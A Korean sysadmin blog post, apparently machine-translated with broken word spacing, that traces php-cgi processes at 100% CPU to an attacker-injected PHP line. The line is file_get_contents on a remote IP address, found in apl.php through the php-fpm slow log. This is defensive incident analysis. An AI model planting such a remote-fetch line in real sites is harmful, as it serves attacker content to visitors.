linux php - cgi. exe cpu 100% 차지 하 는 장벽 여행

3945 단어
먼저 저희 사이트 의 구 조 를 말씀 드 리 겠 습 니 다. 현재 사이트 의 방 문 량 이 많 지 않 지만 최근 에 회사 사이트 가 홍보 되 어야 하기 때문에 사 이 트 를 단일 컴퓨터 에서 전단 으로 전환 하여 nginx 로 부하 균형 을 이 루 고 두 대의 웹 서버 를 이 끌 고 모든 웹 페이지 와 정적 파일 은 NFS 를 통 해 공유 하고 호출 합 니 다. NFS 서 비 스 는 그 중의 한 웹 서버 에 설치 하고 백 엔 드 는 my sql 메 인 방식 으로 사용 합 니 다.전형 적 인 구조 입 니 다.
이 구조 로 전환 한 지 이틀 만 에 nagios 의 신 고 를 받 았 습 니 다. 경보 메 시 지 는 웹 서버 부하 가 매우 높다 는 것 을 보 여 주 었 습 니 다. 그래서 SecureCRT 를 통 해 서버 에 로그 인 했 습 니 다. top 명령 으로 보 니 phop - cgi 프로 세 스 가 대량의 CPU 를 차지 하 는 것 을 발 견 했 습 니 다. 다음 과 같 습 니 다.

13889 www    25  0 228m 14m 9344 S 100.4 0.1 14:51.22 php-cgi
13882 www    25  0 227m 13m 9284 S 100.1 0.1 10:53.18 php-cgi
13924 www    25  0 227m 9936 5732 S 100.1 0.1 23:20.80 php-cgi
13927 www    25  0 226m 5228 2064 R 100.1 0.0 24:44.24 php-cgi
13827 www    25  0 228m 15m 10m R 99.7 0.1 12:57.60 php-cgi
13900 www    25  0 228m 19m 13m R 99.7 0.1  9:03.09 php-cgi

위의 캡 처 를 통 해 우 리 는 그 몇 개의 phop - cgi 프로 세 스 가 대량의 CPU 를 차지 할 뿐만 아니 라 실행 시간 도 매우 길 다 는 것 을 알 수 있 습 니 다. 원래 phop - cgi 는 요청 을 받 고 빠르게 실행 되 었 는데 왜 이 몇 개 는 그렇게 오래 실행 되 었 는데 도 아직 풀 리 지 않 았 습 니까?그래서 명령 ls - l / proc / 13827 / fd / 를 사용 하여 이 오 랜 프로 세 스 가 무엇 을 하고 있 는 지 확인 한 결 과 는 다음 과 같 습 니 다.

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]
l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]
l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]
lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]
lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]
lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]

파일 을 열지 않 았 거나 파일 을 쓰 지 않 은 것 을 보 았 습 니 다. 이 프로 세 스 는 아무 일 도 하지 않 았 습 니 다. 이상 합 니 다. 그리고 strace 명령 으로 이 프로 세 스 가 무엇 을 하고 있 는 지 추적 해 보 시 겠 습 니까?

strace -p 13827
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout) …….

이 프로 세 스 가 끊임없이 시간 을 초과 하 는데 도대체 왜 시간 을 초과 하 는 지 알 수 있다.php - cgi 로그 에서 문 제 를 찾 아야 할 것 같 습 니 다. 원래 php - fpm. conf 설정 의 시간 초과 시간 이 0 이 었 기 때문에 시간 초과 시간 을 설정 하지 않 았 습 니 다.따라서 phop - fpm. conf 의 시간 초과 시간 을 5s 로 설정 한 다음 5s 가 넘 는 phop - cgi 의 요청 은 phop 의 느 린 로그 에 기록 합 니 다. 설정 은 다음 과 같 습 니 다.
3s logs/slow.log
설정 이 완료 되 었 습 니 다. 명령 / usr / local / phop / sbin / phop - fpm restart 를 이용 하여 phop - fpm 를 다시 시작 합 니 다. 잠시 후 slow. log 의 내용 을 보면 다음 과 같은 내용 이 많이 발 견 됩 니 다.
script_filename = /data/htdocs/bbs.hrloo.com/apl.php [0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10
보기 / data / htdocs / bbs. hrloo. com / apl. php 열 번 째 줄 의 내용 은 다음 과 같 습 니 다.
echo file_get_contents('http://121.10.108.227:86/yh.asp');
인터넷 에서 찾 아 보 니 php 라 는 함 수 를 소개 합 니 다. 인터넷 주소 의 응답 이 느 릴 때 CPU 의 점용 이 높 은 상황 이 발생 하고 계속 걸 리 며 시간 을 초과 하지 않 습 니 다. 이 링크 를 보고 한 소설 사 이 트 를 방문 해 보 세 요. 다른 사람 이 공격 한 후에 끼 워 넣 은 것 입 니 다. 이 파일 을 복원 한 후에 정상 으로 회복 합 니 다.이상 하 게 도 NFS 를 설치 한 웹 서버 에 서 는 그 문제 가 발생 하지 않 는 다. 원래 그 사이트 가 느 리 고 NFS 를 통 해 호출 이 더 느 려 졌 기 때문에 이 고장 이 난 것 같다.이번 고장 에 감 사 드 리 고 나 서 야 이 심각 한 문 제 를 발견 하 였 습 니 다.
고장 이 복구 되 었 으 나 문 제 는 아직 해결 되 지 않 았 으 며, 파일 이 어떻게 수정 되 었 는 지 에 중점 을 두 고 유사 한 사고 가 재발 하지 않도록 해 야 한다.보아하니 아래 에는 아직 바 쁜 일이 많은 것 같다.허허!

좋은 웹페이지 즐겨찾기